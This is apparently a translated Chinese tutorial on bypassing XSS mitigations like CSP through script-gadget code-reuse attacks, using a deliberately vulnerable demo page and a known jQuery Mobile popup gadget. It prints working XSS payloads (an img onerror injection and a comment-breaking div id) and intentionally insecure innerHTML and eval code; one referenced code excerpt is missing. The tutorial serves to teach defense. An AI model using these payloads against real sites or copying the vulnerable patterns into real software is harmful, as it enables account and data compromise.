通过代码重用攻击绕过现代XSS防御

XSS已有近二十年的历史了，但它仍然是Web上最常见的漏洞之一。因此，已经发展了许多机制来减轻漏洞的影响。我经常会误以为这些机制可以作为针对XSS的保护。今天，我们将了解为什么情况并非如此。我们将在代码重用攻击领域探索一种相对较新的技术。Web的代码重用攻击于 2017年 首次描述，可用于绕过大多数现代浏览器保护，包括：HTML sanitizers，WAF和CSP。

介绍

让我们使用示例进行演示：

<?php 
/* File: index.php */
// CSP disabled for now, will enable later
// header("Content-Security-Policy: script-src 'self' 'unsafe-eval'; object-src 'none';");
?>
​
<!DOCTYPE html>
<html lang="en">
<body> 
  <div id="app">
  </div>
  <script src="http://127.0.0.1:8000/main.js"></script>
</body>
</html>

/** FILE: main.js **/
var ref=document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

该程序具有基于DOM的XSS漏洞。Main.js获取GET参数 injectme 的值，并将其作为原始HTML插入到DOM中。这是一个问题，因为用户可以控制参数的值。因此，用户可以随意操作DOM。下面的请求是一个poc，证明我们可以注入任意JavaScript。

http://127.0.0.1:8000/?injectme=<img src="n/a" onerror="alert('XSS')"/>

image元素将插入到DOM中，并且在加载期间会出错，从而触发onerror事件处理程序。这会弹出一个警告消息，提示“ XSS”，证明我们可以使该应用运行任意JavaScript。

现在，通过删除index.php中第5行的注释来启用内容安全策略。然后重新加载页面，您将看到攻击失败。如果在浏览器中打开开发者控制台，则会看到一条说明原因的消息。

凉！所以发生了什么事？IMG html元素已创建，浏览器看到了onerror事件属性，但由于CSP而拒绝执行JavaScript。

用一个不切实际的简单小 工具 绕过CSP

在我们的示例中，CSP限制–允许来自同一主机的JavaScript–阻止危险的功能，例如eval（不安全的eval）–阻止了所有其他脚本–阻止了所有对象（例如flash）

但是，如果我们能以某种方式触发CSP白名单中已经存在的JavaScript代码怎么办？如果是这样，我们也许可以执行任意JavaScript而不会违反该政策。让我们看一个小工具的简单示例，以了解基本概念。

假设main.js文件看起来像这样：

/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);
​
document.addEventListener("DOMContentLoaded", function() {         
    var expression = document.getElementById("expression").getAttribute("data");
    var parsed = eval(expression);
    document.getElementById("result").innerHTML = '<p>'+parsed+'</p>';
});

代码基本相同，但是这次我们的目标也有某种数学计算器。请注意，仅main.js被更改，index.php与以前相同。您可以将数学函数视为一些未真正使用的旧代码。

作为攻击者，我们可以滥用数学计算器代码来评估并执行JavaScript，而不会违反CSP。我们不需要注入JavaScript。我们只需要注入一个ID为“ expression”和一个名为“ data”的属性的HTML元素。内部数据将传递给eval。

我们试一试，是的！我们绕过了CSP！

转向现实的脚本小工具

如今的网站包含许多第三方资源，而且情况越来越糟。这些都是合法的列入白名单的资源，即使强制执行了CSP。数百万行的JavaScript中也许有有趣的小工具？嗯，是！Lekies等。（2017）分析了16个广泛使用的JavaScript库，发现几乎所有库中都有多个小工具。

小工具有几种类型，它们可以直接有用，或者需要与其他小工具链接才能有用。

字符串操作小工具：用于绕过基于模式的缓解措施很有用。元素构造小工具：

有助于绕过XSS缓解措施，例如创建脚本元素。函数创建小工具：可以创建新的函数对象，以后可以由第二个小工具执行。JavaScript执行接收器小工具：类似于我们刚才看到的示例，可以独立运行，也可以作为链中的最后一步

让我们看另一个例子。我们将使用相同的应用程序，但现在让我们包括jQuery mobile。

<?php 
/** FILE: index.php **/
header("Content-Security-Policy: script-src 'self' https://code.jquery.com:443 'unsafe-eval'; object-src 'none';");
?>
​
<!DOCTYPE html>
<html lang="en">
<body>
  <p id="app"></p>
  <script src="http://127.0.0.1:8000/main.js"></script>
  <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
  <script src="https://code.jquery.com/mobile/1.2.1/jquery.mobile-1.2.1.min.js"></script>
</body>
</html>

/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

CSP进行了少许更改，以允许来自code.jquery.com的任何内容，幸运的是，jQuery Mobile有一个已知的脚本小工具可供我们使用。该小工具还可以严格动态地绕过CSP。

让我们首先考虑以下html

<div data-role=popup id='hello world'></div>

此HTML将触发jQuery Mobile的 Popup Widget中的 代码。可能不明显的是，当您创建弹出窗口时，库会将id属性写入HTML注释中。

jQuery中负责此工作的代码如下所示：

这是一个代码小工具，我们可以滥用它来运行JavaScript。我们只需要绕过注释，然后我们就可以做我们想做的任何事情。

我们最终的payload将如下所示：

<div data-role=popup id='--!><script>alert("XSS")</script>'></div>

执行，弹框！